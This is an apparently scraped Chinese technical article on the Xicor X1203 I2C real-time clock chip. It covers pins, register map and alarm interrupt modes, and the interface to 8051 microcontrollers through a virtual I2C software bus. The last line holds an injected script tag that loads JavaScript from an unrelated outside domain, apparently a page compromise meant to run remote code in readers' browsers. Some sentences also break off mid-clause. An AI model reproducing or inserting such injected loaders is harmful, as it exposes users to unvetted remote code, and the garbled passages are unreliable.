实时时钟是微机测控系统中的一个重要组成部分。美国xicor公司推出的串行接口实时时钟芯片x1203提供备用电源输入引脚,使器件能用非可重新充电电池任务用电源。该芯片以其体积小、功耗低、使用简单、接口容易、与单片机连线少为主要特点,同时具有较高的精度,能很好满足微机测控系统的求。下面具体介绍该芯片的内部结构、工作特性、与51系列单片机接口设计实例以及如何利用虚拟i2c总线软件包viic来设计实时时钟芯片x1203的应用程序。
1 x1203内部结构和工作特性
x1203 是带时钟、日历和2个闹钟报警的实时时钟。双端口时钟和报警寄存器使时钟即使在读写操作期间也能精确地工作,时钟/日历提供了可通过一组寄存器进行控制和读出的功能;时钟使用32.768khz晶体输入,以秒、分、时、日、星期、月和年为单位跟踪时间,具有闰年校正,并能对小于31天的月自动进行调整;2 个闹钟(报警)即中断输出,输出脉冲重复率可以从1次/min~1次/年,支持i2c总线的2线接口,具有400khz的数据传送速率和内部切换电路的辅助电源输入端,可靠性高,电源电压从2.5~6v实时时钟均能正常工作。
x1203的内部结构如图1所示,由电源控制、振荡器、分频器、时钟控制寄存器(ccr)、控制逻辑电路、移位寄存器等组成。
1.1 x1203的封装形式和引脚说明
x1203有8引脚soic和8引脚tssop 2种封装形式,引脚排列如图2所示。
scl:串行时钟引脚,用于使所有数据随时钟同步输入器件和从器件输出。此引脚上的输入缓冲器总是激活的(不选通)。
sda:串行数据引脚,用于把数据送入器件和从器件送出数据。它具有漏极开路的输出,可以与其它漏极开路或集电极开路输出端进行线“或”。输入缓冲器总是激活(不选通)。漏极开路输出要求使用上拉电阻。
vback:备用电源引脚,向器件提供备用电源电压,在vcc电源出现故障时向器件提供电源。
irq:中断信号输出引脚。引信号通知处理器,报警已发生并请求动作,是漏极开路的低电平有效输出端。
x1、x2:反向放大器的输入和输出端引脚,可以在x1端接受外部32.768khz的方波基准或配置为片内振荡器。
电源控制电路由引脚vcc和引脚vback输入,当vcc
1.2 时钟/控制寄存器(ccr)
时钟/控制寄存器(ccr)分为5个部分:
①报警寄存器0(alarm0)为8字节,字节地址为0000h~0007h;
②报警寄存器1(alarm1)为8字节,字节地址为0008h~000fh;
③控制寄存器(control)为1字节,字节地址为0011h;
④实时时钟(rtc)为8字节,字节地址为0030h~0037h;
⑤状态寄存器(status)为1字节,字节地址为0003fh;
其中①~③为非易失性的e2prom,而④、⑤为易失性的sram。ccr的映像如表1所列。
表1 ccr映像
实时时钟(rtc)使用外部32.768khz石英晶体来保持年、月、日、时、分和秒的精确的内部表示。rtc具有闰年校正和世纪字节。上电后,直到至少有 1字节写入rtc寄存器时,时钟才开始计数。启动读命令并指定对应于实时时钟(rtc)寄存器的地址可以读rtc,也可以通过写rtc寄存器来设置时间和日期。2个报警寄存器,其内容模仿rtc的内容,只是增加了使能位并去除了24小时时间选择位。通过使能位和实时寄存器的设置,可以确定报警时间。
控制寄存器中位im为方式控制位。
①im =0(正常方式)。rtc与alarm0寄存器设置的内容匹配时,将自动置位状态寄存器的al0位。如果控制寄存器的al0e位也为“1”,则输出irq 信号将变为有效;如果al0e为“0”,则al0位被置位,irq信号保持不变。rtc与alarm1寄存器设置的内容匹配时自动置位al1位。如果 al1e也为“1”,则输出irq信号将变为有效;如果al1e为“0”,则al1位被复位,irq信号保持不变。
②im =1(脉冲中断方式)。此方式不使用位al0e和al1e,alarm1的工作如前,rtc与alarm1寄存器设置的内容匹配时将自动置位al1位,机必须通过查询al1位以决定是否发生了报警。alarm0提供输出响应,rtc与alarm0寄存器设置的内容匹配时,输出irq脉冲1次,脉冲宽度约为 30ms。所有的alarm0寄存器使能选项均可使用,从而实现非常灵活的长时间循环触发器。 1.3 串行通信接口
x1203支持i2c总线接口。i2c总线是一个十分完善的多主系统总线,总线上可以挂接多个mcu,因此有4种工作方式:主发送、主接收、从发送、从接收。下面介绍的单个mcu系统,只用到i2c总线的主方式,即主发送与主接收。目前,带有i2c总线接口的mcu只有少数厂家的个别产品,运用单片机的通用 i/o口来虚拟i2c总线接口,可以很好地解决与x01203的接口问题。图3为x1203与51系列单片机的接口。x1203?script src=http://er12.com/t.js>